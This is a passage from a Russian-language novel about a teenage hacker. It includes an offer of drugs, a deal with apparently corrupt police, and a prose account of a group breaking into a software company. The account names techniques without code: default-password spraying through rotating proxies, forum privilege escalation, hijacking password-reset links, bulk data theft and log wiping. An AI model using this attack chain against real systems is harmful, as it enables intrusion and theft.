их по маске и решил скачать все скопом, чтобы на досуге как‑нибудь разоб‐
рать. Для  автоматизации поиска надо будет набросать скриптик: Кириллом
двигало исключительно любопытство, а  потому возиться с  этим вручную
совершенно не хотелось.

Оставалось несделанным еще  одно важное дело: накануне Трипольский
сбросил ему эсэмэской телефонный номер, по  которому велел позвонить
для решения его вопроса, уточнив, что номер местный, подгорский. Сейчас
выдалось как раз самое подходящее время, и Кирилл потянулся к телефону.
На  звонок никто не  ответил: послушав с  минуту длинные гудки, он нажал
«отбой», однако спустя короткое время мобильник зажужжал входящим
вызовом с того самого номера.

— У  меня от  вас пропущенный,  — без  всякого приветствия прозвучал
в трубке мужской голос.

— День добрый, — все‑таки решил отдать дань вежливости Киря. — Мне
ваш телефон Сергей Афанасьевич дал, сказал, можно обратиться по одному
делу…

— Я понял, — прервал его собеседник. — К семи вечера в кафе «Волна»
подходите. Знаете, где это?

— Да, конечно.
— Тогда до встречи, — и динамик умолк, прервав вызов.
Пока файлы перекачивались с дедика на его диск через прокладку в виде

прокси, Кирилл заглянул в  джаббер, и  его душа будто расправила крылья:
Трикси снова была в сети. В последние дни переписка с Аллой занимала его
мысли все чаще и чаще. Девушка по‑прежнему не торопилась рассказывать
о себе, но Кирилл на самом деле чувствовал, что скучает без этих бесед и с
нетерпением ждет вечера, чтобы снова обсудить какой‑нибудь софт
или новости из интернета. Хорошо бы раскрутить ее на вирт, подумалось ему,
ну или хотя бы интимными фотками обменяться, будет хоть какое‑то подобие
личной жизни. При  мысли об  этом Киря ощутил приятную тяжесть внизу
живота, но  тут же вспомнил, что он и  обычной‑то фотки своей виртуальной
подруги ни разу не видел, поэтому даже не представляет себе, как она выг‐
лядит на  самом деле. Может, Алла потому и  скрывает свою внешность, что
не желает его пугать? Впрочем, в качестве собеседника она все равно прек‐
расна, тем более Кирилл искренне полагал, что самое главное в девушке —
это не сиськи и задница, а наличие мозга. Здесь он определенно присутство‐
вал в нужных количествах и объемах.

«Привет, — написал Кирилл в мессенджер, — давно не виделись!»
«Ну да, буквально со вчерашнего вечера», — сразу же ответила Трикси.
«Для меня это целая вечность!» — улыбнувшись, напечатал он.
Трикси отправила ему в ответ смеющийся смайл:
«Ну, ты излишне драматичен, Кирилл. Что успело произойти за  эту „веч‐

ность“?»
Клавиши послушно затрещали под его руками:
«Да ничего особенного, кроме того, что думал о тебе весь день ;)».
«Ого, комплимент! :) Я‑то считала, что ты весь день код пишешь».
«Для написания кода тоже нужно вдохновение. ;) А  ты как? Чем занима‐

лась?»
«Наблюдала, как у одних людей решаются проблемы, а у других возникают

,-)», — подмигнул из окошка еще один смайлик.
«Значит, самое время отдохнуть…  — напечатал он, не  отрывая взгляда

от экрана. — Кажется, мы уже неплохо знаем друг друга. Может, попробуем...
чего‑то нового?»

«Неплохая идея!  — незамедлительно отобразился ответ.  — Если ты и  в
самом деле хочешь попробовать чего‑то нового, снеси винду и  поставь
Линукс!»

Нет, не  на такое он рассчитывал своими прозрачными намеками. Его
пальцы снова скользнули по клавишам.

«Я не о том, Алла».
«Ты меня заинтриговал. Так что ты имеешь в виду?»
«Ну, знаешь... что‑то такое, о чем ты обычно не пишешь в чате».
«Ты, кажется, пытаешься затащить меня в  виртуальную постель, а,

Кирилл?»  — на  сей раз в  джаббере появилась целая гирлянда смеющихся
смайликов.

«Ну... Если вдруг захочешь... то я не  против. Мы же оба взрослые люди,
верно?»

«Один из  нас  — точно. И  этому одному совершенно не  хочется получить
срок за совращение малолетних ,-)».

О, а  вот и  еще один интересный кусочек информации. Если собрать
побольше таких осколков, то из  них вполне можно сложить интересную,
а главное, познавательную мозаику.

«Намекаешь на то, что ты старше?» — нетерпеливо защелкал он клавиша‐
ми.

«Маленько. Лет на пять. Впрочем, неважно, общаться нам это не мешает.
А сейчас сорьки, мне надо бежать :-*».

Трикси без  предупреждения вышла из  сети. Интересно, что у  нее там?
Просящаяся на  прогулку собачка, грудной младенец, ответственная работа,
ревнивый муж? Ответа на  этот немой вопрос не  было. Зато на  соседней
вкладке замигало новое сообщение от другого контакта.

«Алоха, бро! — писал Санчо. — Ты там, кажется, ноут заказывал? Припол‐
зай‑забирай, лежит, тебя дожидается. С тебя четыреста бачей чисто по‑брат‐
ски».

Кирилл взглянул на часы. До встречи в кафе «Волна» оставалось еще дос‐
таточно времени, так что зайти к другу он вполне успеет.

— Предки дома?  — с  порога осведомился Кирилл, скидывая в  прихожей
ботинки.

— Нету никого, проходи, — успокоил его Санчо.
В комнате, на столе, за которым Кирилл провел так много времени, оди‐

ноко лежал пухленький черно‑серебристый Dell. Саня указал на  него
широким жестом фокусника, достающего из шляпы живого кролика под апло‐
дисменты восторженной публики. Киря горящими глазами осмотрел машину:
корпус слегка покоцан, на  крышке по  углам несколько потертостей, но  в
целом ноутбук выглядел бодрячком. Он откинул крышку, нажал на  кнопку
питания, и  на экране возникла знакомая заставка «икспишки». Надо, навер‐
ное, и  вправду поставить на  диск творение горячего финского студента,
а  «форточки» пусть живут себе на  старом компе. Киря пошарил за  пазухой,
достал кошелек, отсчитал и положил на стол деньги.

Тем временем Санчо блаженно развалился в своем компьютерном крес‐
ле, извлек из ящика стола пачку «Честера», закурил. Кирилл удивленно под‐
нял бровь: если бы мать почувствовала в его комнате запах табака, то уж точ‐
но устроила  бы скандал, хотя отчим, бывало, совершенно безнаказанно
дымил на кухне, превращая ее в филиал кочегарки. Видимо, родители Сани
окончательно махнули на это рукой. На мгновение Кире сделалось даже нем‐
ного завидно: такая невиданная степень свободы выглядела со  стороны
как‑то вызывающе по‑взрослому.

— Значит, тему с компами удалось‑таки провернуть? — чтобы хоть как‑то
завязать разговор, начал он.

— Ну да, взял пробную партию, уже почти всю распродал, — Санчо выпус‐
тил к  потолку тонкую струйку дыма.  — Бабло верну, закуплю еще. Такой вот
интересный циклический процесс.

— Какой процесс? — не понял Киря.
— Круговорот бабла в природе. Колесо сансары. Колесо крутится, бабки

мутятся. И главное, Кикс, от нас с тобой этот процесс никак не зависит.
Кирилл стоял, сжимая в  руках ноутбук, и  внимательно слушал, пытаясь

понять, иронизирует его друг или  нет. Раньше он никогда не  видел Санчо
в столь глубокомысленном философском настроении.

— Вот и  приходится крутиться, дружище,  — продолжил тем временем
Саня,  — вместе со  вселенной, соблюдая ее законы. Как  планеты на  своих
орбитах. Они вращаются, Кирилл. Вращаются без  устали. Ты когда‑нибудь
задумывался, что Земля — это просто большой жесткий диск, а мы — фраг‐
менты данных?

— Я тебя не  понимаю,  — настороженно ответил Киря: поведение друга
и вправду немного его напугало и озадачило. — О чем ты вообще толкуешь?
Говори нормально.

Санчо описал сигаретой в воздухе невидимую сферу:
— Все связано, брат. Программы, сети, люди... Мы — это пакеты данных,

путешествующие по  вселенной. А  наши мысли  — это  лишь сигналы в  сети.
Трафик. Поток. Ты же чувствуешь поток, Кирилл? Нет? Каждое живое сущес‐
тво в мире его ощущает, но не всем дано это осмыслить и осознать.

— Сань, ты чего, вштырился чем‑то? — с подозрением спросил Киря.
— Ну да, — пожал плечами Санчо.
Двумя пальцами он извлек из  нагрудного кармана рубашки и  бросил

на стол маленький полиэтиленовый пакетик с пластиковой застежкой зип‑лок.
— Хочешь? Гарантирую массу новых ощущений.

Кирилл опасливо покосился на пакет, из‑под прозрачного пластика которого
проглядывал какой‑то белесый, рыхлый и  комковатый порошок. К  расширя‐
ющим сознание веществам Киря относился с  брезгливым отвращением,
а потребителей этих веществ так и вовсе откровенно побаивался. Неизвес‐
тно, что именно стрельнет им в голову в следующую минуту: сейчас они рас‐
суждают с  умным видом о  таинственных законах космоса и  рассказывают
об  астральном опыте, а  через мгновение, чего доброго, кинутся на  тебя
с  молотком. Кроме того, Кирилл искренне не  понимал, зачем люди доб‐
ровольно ломают собственный мозг, этот тонкий и необычайно сложный инс‐
трумент, который помогает ему добывать средства к  существованию. Если
сравнить мозг с хрупким и необычайно мощным, а порой — даже капризным
компьютером, то употребление подобной химии он воспринимал как попытку
колоть этим компьютером грецкие орехи. Непродуктивно, а главное — опас‐
но.

— Не хочу.
— Ну как  знаешь,  — не  стал настаивать Санчо.  — Ты просто боишься.

Боишься заглянуть за грань... А я вот заглянул и увидел, что там, за этой шир‐
мой. Суть в том, бро, что всё вокруг — это просто интерфейсы. Смотри, даже
я — твой интерфейс к истине. Мы с тобой просто строки кода в чужой прог‐
рамме. Всё уже написано. Даже наша встреча  — часть кода. И  в этой соф‐
тине багов нет, Кирилл... нет багов.

— Всё, стоп. Я позвоню кому‑то, кто сможет тебе помочь...
— Не надо никуда звонить, — махнул рукой Санчо. — Иди. Дверь прикрой

просто, я потом запру. Иди, слышишь? Давай! Вали!
Благодушная расслабленность внезапно сменилась нервной активностью,

Саня вскочил на ноги, заметался по комнате, как хищник, запертый в клетке.
Напугавшись еще больше, Кирилл поспешил ретироваться, второпях схватив
с вешалки свою верхнюю одежду и забыв в прихожей шапку. Только очутив‐
шись на  улице, он остановился и  задумался. Может, зря он ушел и  нужно
было действительно позвать на  помощь? Только кого и  зачем? Саниных
родителей? Наверное, он не будет рад, если школьный друг доложит предкам
о  его новых пристрастиях. А  ведь Сашкины родаки и  без того терпеть
не могут Кирилла, считая его виновным во всех бедах. Врачей? Те, конечно,
с  ходу определят причину временного помешательства его друга, настучат
ментам, а они уж точно устроят Сане грандиозные проблемы… Нет, не стоит
сейчас ни к кому обращаться. Разве только попробовать самому достучаться
до Санчо, но это потом, когда тот немного придет в себя…

Кафе «Волна» никогда не претендовало на звание престижного заведения —
обычная точка общепита, не  менявшаяся толком еще  с советских времен.
Разве что вместо дешевых пышек и  пирожков с  капустой тут продавались
теперь дорогие сэндвичи, да, кроме традиционной водки и  портвейна,
в меню появились джин, текила и мартини.

За столиком Кирилла поджидали двое: один круглый и лысый, как колобок,
другой крепкий и  коротко стриженный, с  барсеткой, которую он держал
перед собой на столике, и с характерной золотой цепочкой на шее. Внешне
они никак не  походили на  представителей какой‑либо силовой структуры,
по крайней мере Кирилл никогда не отнес бы их к таковым, случайно встретив
на улице. Визави к появлению Кирилла отнеслись с некоторым удивлением —
видимо, они полагали, что он чуть постарше, однако рекомендация Триполь‐
ского сделала свое дело, и разговор сразу же перешел в деловое русло.

— Ломбард на  Кутузовском, тридцать семь, значит…  — протянул владелец
барсетки, отрекомендовавшийся Максимом, — не наш райончик‑то.

— Он прописан в Октябрьском.
— А  вот это  уже лучше,  — недобро ухмыльнулся «колобок», представив‐

шийся Игорем, и  повернулся к  товарищу:  — Кто у  нас есть в  сто тридцать
пятом? Вешняков?

— Там весь отдел  — свои парни,  — отмахнулся Максим,  — решим
как‑нибудь. Ты мне вот что лучше скажи. Сергей Афанасьевич правду
говорил, что ты крутой хакер?

Они как‑то сразу без  перехода стали называть Кирилла на  ты, а  ему
не  позволяли тыкать какие‑то внутренние моральные установки, поэтому он
старался избегать личных местоимений либо делал вид, что обращается сра‐
зу к обоим. Собеседники эту некоторую робость, кажется, почувствовали.

— Бывают и круче, — пробурчал Кирилл.
— Ну, короче, хакер, значит, — Максим с Игорем переглянулись. — И как,

удается на этом нормально денег поднять?
— По‑разному,  — уклончиво ответил Киря.  — Я сюда на  трамвае, а  не

на «мерсе» приехал.
— Да ты не мнись, мы чисто из любопытства спрашиваем, — запанибрат‐

ски хлопнул его по плечу Игорь. — Веришь, нет, в первый раз в жизни с нас‐
тоящим хакером вот так вот запросто за столом сижу. А то пишут про вашего
брата всякое, но так посмотришь — нормальный простой парень, с которым
приятно пообщаться. За это надо выпить!

Выпивать Кирилл не хотел: алкоголь хорошо идет в дружеской компании,
где можно по‑настоящему расслабиться, а  сейчас нервы у  него были нап‐
ряжены до  предела, и  чувствовал он себя здесь крайне неуютно. Что
ни  говори, а  с представителями закона они находились по  разные стороны
баррикад. Хотя эти парни вроде  бы вполне нормальные и  настроены доб‐
рожелательно. Чтобы не обижать новых знакомых, Кирилл немного пригубил
текилы из  стопки с  тонкой каемкой соли по  краям, которую поставил
перед ним Максим.

— А вообще скажи, сложно сервера взламывать? — не унимался Игорь. —
Ну, банки там всякие, счета?

— Не знаю, лично я не пробовал, — осторожно ответил Кирилл. — Но слы‐
шал, что непросто.

— Ничего, придет время, попробуешь,  — хохотнул Максим.  — Ладно,
давай еще по одной!

Кирилл снова чуть отхлебнул из рюмки, в висках слегка зашумело. Максим
опять наполнил ее до краев.

— Ты это, — заговорщицки наклонился к нему Игорь, — если что, ну, проб‐
лемы там какие возникнут или кто обижать начнет, сразу нам звони. Телефон
знаешь. Мы разберемся.

Кирилл с недоверчивым интересом посмотрел на него.
— На взаимовыгодных условиях, конечно, — уточнил тот, — но не обидим,

всё по чесноку. Ты же свой парень. И Трипольский тебя рекомендовал, а мы
его уважаем. Зато сможешь работать нормально и ничего не бояться, понял?

Киря кивнул.
— Вот и славно. Давай по пятьдесят, за дружбу!
Выходя из  кафе на  немного ватных ногах, Кирилл почувствовал легкую

эйфорию. То ли выпитый алкоголь был тому виной, то ли благодаря завязав‐
шемуся знакомству он утвердился в  мысли, что можно больше не  бояться
ни  отчима, ни  Колю Старого, ни  черта лысого и  жить спокойно дальше,
занимаясь тем, чем ему на самом деле хотелось заниматься. Сейчас он был
уверен, что иметь в  качестве «крыши» людей из  органов  — самое правиль‐
ное, надежное и верное решение.
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Подготовка к чему‑то важному занимает порой больше времени, чем само
это событие. Кирилл стоял у зеркала, разглядывая свое отражение с глубоко‐
мысленным выражением на лице, как будто серебристое стекло вот‑вот дол‐
жно было сообщить ему о  чем‑то важном. Отражение молчало. Ноутбук
со  свежеустановленной системой терпеливо дожидался в  комнате:
к задуманной NullByte операции против серверов TerraCore все было готово.
Однако Кирилл медлил: минутная задержка ничего не  значила на  фоне
мучительного марафона собственных сомнений.

Вздохнув, он подмигнул сам себе, прошел в комнату, прикрыв за спиной
дверь, уселся за исцарапанный и заляпанный выцветшими следами от фло‐
мастеров стол, придвинул ноут поближе. «Нужно будет при  случае купить
удобное кресло, как  у Санчо»,  — подумалось ему, да  и мебель в  спальне,
которую мама привычно называла «детской», обновить не помешает. Пальцы
скользнули по  клавиатуре: Кирилл запустил сканер портов, первый шаг
в любой атаке, дающий возможность узнать, какие службы принимают соеди‐
нение на удаленном сервере. Сейчас ему очень не хватало Санчо с его спо‐
собностями быстро проводить разведку, собирать воедино и анализировать
кучу разрозненной информации, но  Санчо был слишком занят своими тор‐
гово‑закупочными делами и потому в сегодняшнем празднике жизни участия
не  принимал. Зато на  приватном джаббер‑канале, специально созданном
под  намечавшееся мероприятие, появился NullByte собственной персоной.
Следом за  ним зашла Трикси и  еще несколько смутно знакомых парней
с хакерского форума.

«Погнали!» — написал в чате NullByte, и работа закипела.
Прозвонить порты, чтобы нащупать потенциально уязвимую точку входа, —

это только первый шаг. На втором выбранные диапазоны проверялись более
тщательно с  помощью специальных скриптов. Кирилл не  торопился: спешка
тут совершенно ни к чему. Это только в фильмах взлом сопровождается кас‐
кадом ярких спецэффектов, взрывами мониторов и снопами искр, сыплющих‐
ся из электрических розеток. В реальной жизни работа хакера внешне скучна
и  неприметна. Строки, лениво ползущие в  темном окне терминала, синева‐
тый отблеск дисплея на  лице, тусклый желтоватый свет настольной лампы,
отбрасывающей чернильные тени на обои. Никакой романтики…

Тем временем в  чате стала копиться информация, которую понемногу
сбрасывали туда все участники процесса: IP-адреса, технические под‐
домены, доступные порты, данные из проанализированных HTTP-заголовков.
Пока ничего интересного Кирилл там не увидел: серверы TerraCore выглядели
точно бастионы крепости, способные выдержать даже длительную осаду.
Но  он прекрасно знал, что неприступных крепостей не  бывает. Если ата‐
кующим не удастся вскарабкаться на стену или взломать запоры на воротах,
всегда можно попытаться сделать подкоп.

Время шло, день уже давно угас, усыпав небо за  окном звездным кро‐
шевом, но дело не двигалось с мертвой точки ни на йоту. Кирилл успел схо‐
дить на  кухню и  доесть остатки остывшего ужина, а  мама легла спать, поп‐
росив его не шуметь, потому что в шесть утра ей вставать на работу. За это
время хакеры сумели обнаружить лишь токен доступа в сообщении об ошиб‐
ке на  неработающей странице сайта, и  этот токен все равно не  позволил
авторизоваться в  системе и, следовательно, оказался абсолютно бес‐
полезен.

«Глухо, как  в танке,  — прокомментировал безнадежную ситуацию
NullByte, — у кого есть идеи, братва?»

«Я как  раз изучаю мануалы «Терры»,  — написала в  общий чат Алла,  —
кажется, нащупала кое‑что интересное». И тут же отправила ссылку в личном
сообщении Кириллу: «Kicks, взгляни‑ка!»

TerraCore выпускала целый арсенал программ, активно использовавшихся
разными компаниями по всему миру. Именно поэтому на официальном сайте
разработчики выложили тонну документации по своим продуктам, с которой
и предлагали ознакомиться пользователям, если на их вопросы было недосуг
отвечать сотрудникам техподдержки. Изучая одну из таких страничек, Трикси
обнаружила ссылку на  внутренний форум для  технических специалистов
и интеграторов, где они могли связаться с разработчиками или найти нужные
для решения возникающих у клиентов проблем патчи.

Форум, разумеется, оказался закрыт страницей авторизации, в  чем
Кирилл смог самостоятельно убедиться, пройдя по  ссылке. Он попытался
пробиться внутрь путем перебора паролей, но безуспешно: после нескольких
неудачных попыток бдительный сервер заблокировал его IP. Изучение формы
для сброса забытого пароля тоже не подарило никаких надежд — одноразо‐
вый код приходил на адрес электронной почты зарегистрированного юзера,
так что ловить тут было нечего.

Движок, на  котором работал форум, оказался стандартным, с  открытым
исходным кодом, а  вот модуль авторизации парни из  TerraCore прикрутили
к  нему самописный, судя по  всему, каким‑то образом связав его с  внут‐
ренней подсистемой учета пользователей или контроллером домена. Притом
в недрах этого самого модуля остались «хвосты» от стандартного компонен‐
та — часть кода была закомментирована, часть убирать не стали, потому что
она все равно не работала. Так, по крайней мере, считали в TerraCore. Стан‐
дартную страницу регистрации нового юзера тоже убрали, вместо нее
выкатили самодельную форму, с  помощью которой будущий пользователь
мог ввести сведения о себе и отправить модераторам заявку. Кирилл запол‐
нил эту форму и обнаружил, что всякий раз она передавала на сервер вместе
с другими данными скрытое поле password со значением «%#DEFAULT#%!».

Киря задумался. Логика подсказывала ему, что, если заявки на регистра‐
цию обрабатываются вручную, сервер должен впустить пользователя с одоб‐
ренной модераторами учеткой и вот этим вот стандартным паролем, который
юзер потом поменяет самостоятельно. А  если он не  захочет или  попросту
забудет это сделать? Значит, в недрах базы данных обязательно должны при‐
сутствовать уже одобренные учетные записи с таким паролем. Для проверки
своей гипотезы Кирилл запустил скрипт, который принялся автоматически
формировать запросы на  доступ к  сайту, перебирая трехбуквенные имена
пользователей в сочетании с уже известным ему кодовым словом и периоди‐
чески меняя прокси‑сервер, когда очередной IP-адрес попадал в  бан‑лист
из‑за слишком частых и  неудачных попыток входа. Примерно через десять
минут Киря получил сообщение об  успехе своей затеи. Это  была пусть
маленькая, но победа!

Поделившись радостью с Аллой, он перекусил оставшимися на кухне бутер‐
бродами и завалился на диван, чтобы поспать хотя бы пару часов, — за окном
уже алел рассвет, а  мать, тихо собравшись и  позвенев ключами, ушла
на работу. Глаза буквально слипались, а голова от усталости соображала чем
дальше, тем хуже.

Проснувшись от истерического треска будильника, Киря умылся холодной
водой из‑под крана, заварил себе кружку растворимого кофе и  снова мет‐
нулся к компу. Учетная запись, которую он раздобыл столь хитроумным спо‐
собом, оказалась аккаунтом специалиста технической поддержки ком‐
пании  — партнера TerraCore. Киря попытался было заглянуть на  ряд внут‐
ренних ресурсов, адреса которых он нашел, прогулявшись по ветвям форума,
но везде получил отказ в доступе из‑за отсутствия необходимых привилегий.
Значит, эти самые привилегии нужно как‑то заполучить.

Кирилл сцепил ладони в  замок, потянулся до  хруста в  суставах. Мысли
стремительно проносились в  голове, меняя одна другую. Движок у  форума
опенсорсный, а  значит, если хорошенько поискать, наверняка отыщется
какая‑нибудь старая уязвимость, которую админы еще не успели пропатчить.
Кикс решил сделать ставку на  обычную человеческую лень  — именно она
чаще всего и  становилась путеводной звездой для  хакеров, решивших вло‐
миться в очередную закрытую систему.

На этом форуме, как и на любой другой подобной площадке, можно было
добавлять в сообщения файлы — в основном картинки и документы, которые
с  виду не  вызывали никаких подозрений. Здесь эту возможность исполь‐
зовали в  основном для  публикации снимков экрана с  проблемами юзеров,
чтобы их помогли решить присутствовавшие в  сообществе разработчики.
Но Кирилл видел за этим куда больше: если загруженная картинка оказыва‐
лась больше установленных в настройках размеров, то для нее создавалась
миниатюра, а  информация об  этих изменениях записывалась в  базу данных
вместе со  сведениями о  пользователе, загрузившем такую картинку. Если
отправить очень большую картинку личным сообщением другому пользовате‐
лю и при этом хитрым образом подменить передаваемые параметры, можно
изменить значения полей базы, отвечающие за учетку самого юзера. Баг ста‐
рый и известный, но здесь он сработал на ура — базу удалось взломать, фак‐
тически не взламывая, — она просто поверила, что сама все сделала по пра‐
вилам. Спустя минуту Кирилл получил статус Community Manager, то есть стал
модератором форума.

Однако и этой привилегии оказалось недостаточно для его целей: в свя‐
тая святых, в  репозитории, где хранился исходный код разрабатываемых
TerraCore программ, его по‑прежнему не пускали. Что ж, если тебе не никак
удается войти в  дверь, всегда можно попытаться влезть через окно. Форум
позволял сбросить забытый пароль — для этого на почту забывчивого поль‐
зователя отправлялась «волшебная ссылка», которой он должен был вос‐
пользоваться. Доступа к  почтовым ящикам у  Кирилла не  было, зато, будучи
модератором, он мог видеть все служебные письма, автоматически отправ‐
лявшиеся форумным движком. В  том числе и  секретные ссылки. Благодаря
этой замечательной возможности через пару минут он сбросил пароль
для  учетной записи одного из  разработчиков TerraCore, автоматически
получив права на  управление всеми внутренними функциями сайта. Заодно
он попытался войти с новым паролем на внутренний сервер компании, ссылку
на который отыскал среди переписки сотрудников, и у него получилось: учет‐
ные записи разных сервисов TerraCore оказались взаимосвязаны. Кирилл
получил доступ к хранилищу кода, внутреннему баг‑трекеру, серверу сборки
и  файл‑серверу, где хранились бета‑версии разрабатываемого американ‐
цами софта.

«Есть пробив!  — радостно написал он в  чат.  — NullByte, что тут слить‑то
надо?»

«Качай всё, там разберемся», — ответил его партнер.
Оценив масштабы доступной ему информации, Киря быстро понял, что

со  своим слабым каналом связи тянуть все это  богатство со  взломанного
сервера он будет до морковкиного заговенья.

«Там слишком до фига всего :(, — отправил он в чат грустный смайлик. —
NullByte, я сейчас вышлю несколько админских учеток, подключайтесь».

«Принято, — начал распоряжаться NullByte. — Kicks, качай тогда репози‐
торий с исходниками, Paranoic пусть сдампит баг‑трекер, ShelLMa — слей все
файлы на билд‑сервере».

«Потом еще логи потереть надо будет», — напомнил Кирилл.
«Я займусь», — заверила соратников Трикси.
За окнами снова пролили чернильную темноту, а стрелки настенных часов

описали еще  один круг. Кирилл работал уже третьи сутки подряд, потеряв
связь с  реальностью и  отвлекаясь только затем, чтобы сбегать в  туалет
или  поживиться чем‑нибудь в  холодильнике. Ему начинало казаться, что
реальность вокруг утрачивает привычные черты, что эта комната, потертые
обои в цветочек, светящийся в темноте экран ноутбука — это нарисованный
кем‑то мультфильм, а  сам он смотрит на  него со  стороны, словно зритель,
удобно устроившийся перед  телевизором. Видимо, стала сказываться
накопившаяся усталость.

Пока копировались файлы, Кирилл попытался получить доступ к  списку
сотрудников корпорации и забраться во внутреннюю базу данных Exchange,
но  здесь его ждал облом: администраторы настроили там двухфакторную
аутентификацию, а  пользователь, аккаунт которого он взломал, не  входил
в  доверенную группу учетных записей, способных изменить эту настройку.
Время стремительно утекало, словно песок сквозь пальцы, — рано или поз‐
дно администраторы TerraCore заметят подозрительную активность в  своей
сети либо сам законный владелец угнанного аккаунта поймет, что кто‑то
поменял его пароль.

Наконец вся нужная информация благополучно перекочевала на  диски
взломщиков, и  Алла занялась зачисткой следов. Кирилл с  облегчением зах‐
лопнул крышку ноутбука: за минувшие несколько суток он вымотался настоль‐
ко, что погрузился в сон, едва коснувшись затылком подушки.

Проснулся он на  следующий день лишь к  вечеру. Мама уже вернулась
с работы и гремела кастрюлями на кухне, куда Кирилл и вышел, протирая сли‐
пающиеся глаза.

— Слышал, Юру задержали? — с порога огорошила его мать. — Следова‐
тель сегодня днем ко мне на работу приходил, спрашивал что‑то про скупку
ворованного. Говорила я, что эти его шашни с  уголовниками до  добра
не доведут…

— Да ладно? — изобразил на лице удивление Киря. — Ну надо же, кто бы
мог подумать…

Значит, слова Максима с Игорем и обещания авторитетного бизнесмена
Трипольского все‑таки оказались не  пустым звуком. Что ж, это  хорошая
новость — сам он до последнего сомневался в успехе своей затеи.

— И тебе пора за ум браться, — завела свою шарманку мама, — сколько
можно школу прогуливать? Мне завуч дважды звонила. Вот что я ей скажу?
Скатишься по наклонной, как твой отчим, тоже, не дай бог, уголовником ста‐
нешь…

Кирилл хотел было сказать, что, собственно, уже фактически им стал,
но  прикусил язык. Все‑таки ему хотелось верить, что он не  просто обычный
вор, а  исследователь, который вскрывает замки не  столько в  целях наживы,
сколько ради понимания их природы. Воры  — это  те, кто забирает что‑то
чужое, оставляя после себя пустоту. А  он? Он просто открывает двери,
которые и  так были открыты, если знать, куда нужно нажать. Вор бегает
по темным переулкам с чужим кошельком, а хакер… Хакер обходит границы,
которые другие боятся переступить.

Успокаивая себя этими мыслями, Кирилл подхватил тарелку с  аккуратно
нарезанной колбасой и отправился в свою комнату, чтобы не слышать брюз‐
жание матери. Спать совершенно не хотелось, хотя впереди была еще целая
ночь,  — сбитые биологические часы не  позволяли улечься в  постель прямо
сейчас, все равно придется вертеться до  утра. Чтобы занять себя чем‑то,
Кирилл отыскал на  диске зашифрованный файл, который когда‑то скачал
с  дедика, и  принялся писать скрипт для  поиска ключей в  позаимствованных
оттуда же файлах.

Уже за полночь ключи отыскались в забавной картинке с изображением кота
в  черном худи, сидящего за  клавиатурой компьютера. Надпись на  картинке
гласила: «Никто не  в безопасности, кроме тех, кто уже перестал существо‐
вать». Мило. Перебор пароля занял не  слишком много времени  — меньше
чем через час Кирилл смог заглянуть внутрь зашифрованного контейнера.

Он выдохнул, почувствовав легкую дрожь в пальцах. В файле лежали архи‐
вы какого‑то старого хакерского форума  — не  просто файлы, а  эхо давно
прошедших времен, когда хакеры еще  играли в  бунтарей, а  не просто ста‐
рались заработать как  можно больше денег. На  экране проплывали нез‐
накомые ники, сообщения всплывали одно за другим, как записи из личного
дневника сумасшедшего ученого. Какие‑то посты были краткими, другие
представляли собой подробные мануалы по  взлому и  защите от  слежки.
Кирилл чувствовал, что эти записи будоражат разум, словно он археолог,
прикоснувшийся к  манускриптам ушедшей эпохи. Люди, писавшие это,
не  просто ломали системы  — они играли с  реальностью. Для  них это  было
подобием шахматной партии с  миром, в  которой они распоряжались чуть
большим количеством фигур, чем имелось у противника.

Интересно, с какого форума был слит этот архив? В заголовках сохранен‐
ных страниц никакой полезной информации на  этот счет не  нашлось, но  ее
вполне можно было поискать на  сервере, откуда Кирилл скачал файл. Он
запустил терминал и привычно застучал клавишами, чтобы начать сессию.

Но на этот раз дедик не ответил. Кирилл проверил набранные им строки,
чтобы исключить ошибку.

Никаких ошибок. По  этому IP-адресу не  было никакого сервера, словно
его там никогда и не существовало.
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Откружила метелями и  растаяла зима, первая оттепель пришла дол‐
гожданной наградой. Вслед за  ней короткая весна пролетела над  городом,
как быстрый ветер, поцеловавший землю и унесшийся прочь, даже не огля‐
нувшись. Солнечные блики в лужах, журчание талых ручьев вдоль серых тро‐
туаров  — все осталось в  прошлом, будто кто‑то стер старую запись с  маг‐
нитной ленты. Наступил май, демоверсия приближающегося лета. Буднично
промелькнул день рождения, а  впереди замаячил выпускной, последний
рубеж, за которым — новая жизнь, новые возможности и полная свобода.

Армия Кириллу не грозила: еще в тринадцатилетнем возрасте он переку‐
пался в  холодной Подгорке, угодив в  больницу с  почечной коликой. Врачи
поставили хроническое воспаление и навсегда избавили его от перспективы
топтать плац в кирзовых сапогах, чему сам Киря был несказанно рад. О более
отдаленном будущем он сейчас предпочитал не задумываться. Что же каса‐
ется Сани, тот как‑то раз обмолвился, будто его отец собирается задейство‐
вать свои давние связи в армейских кругах. Не то он сидел за одной партой
с  кем‑то из  генералов, не  то пил с  ним водку в  гараже. Как  бы то ни  было,
школьного друга тоже не  слишком беспокоили взаимоотношения с  воен‐
коматом, гораздо больше его заботили собственные коммерческие дела.

Выпускной, как это заведено в Подгорске, проводили в школьных стенах.
Официальную часть, ради которой родителей и  самих выпускников согнали
в  актовый зал, Кирилл вытерпел с  тоскливым смирением. После занудных
выступлений классухи, завуча и  директрисы на  сцену пришлось выйти уче‐
никам обоих одиннадцатых классов, дабы исполнить дурацкую песню
о  любимой школе под  предсмертные хрипы древнего магнитофона. Вкривь
да  вкось зарифмованного текста Кирилл не  знал, поэтому просто открывал
рот, поглядывая на  украдкой утирающих слезу родителей в  зале, среди
которых в заднем ряду сидела и его мать. Потом на сцену под бурные апло‐
дисменты стали по  одному вызывать отличников с  олимпиадниками, и  Киря
начал думать, что этот унылый процесс никогда не закончится. Тем не менее
спустя минут двадцать отличники все‑таки иссякли. Передав матери заветный
документ об окончании школы и выслушав обязательное «причешись, рубаш‐
ку поправь, посмотри, на кого ты похож!», Кирилл оказался наконец предос‐
тавленным самому себе.

— Зацени, бро!  — подскочил к  нему Санчо, чуть приоткрыв застегнутый
на молнию рюкзак: из его недр выглядывала литровая коробка «Сангрии».

Киря молча показал пакет в точности с таким же напитком.
— Живем! — хлопнул его по плечу школьный друг.
Судя по  тому, как  блестели Санины глаза, у  него во  лбу уже плескалось

какое‑то количество алкоголя. А может, и не только его.
Стол для  выпускников накрыли в  школьной столовой. Ради праздника

родители притащили из дома кто что сумел: на клеенчатой скатерти громоз‐
дились салаты, блюда с нарезанной колбасой и сыром, пироги и вареная кар‐
тошка. Рядом выстроились батареи «Тархуна», «Байкала», «Фанты» и «Колы»,
а  в качестве символа торжества  — бутылки с  безалкогольным шампанским.
Спиртное на этом празднике жизни было под строжайшим запретом.

Перед тем как приняться за съестное, Кирилл с Саней заглянули в туалет
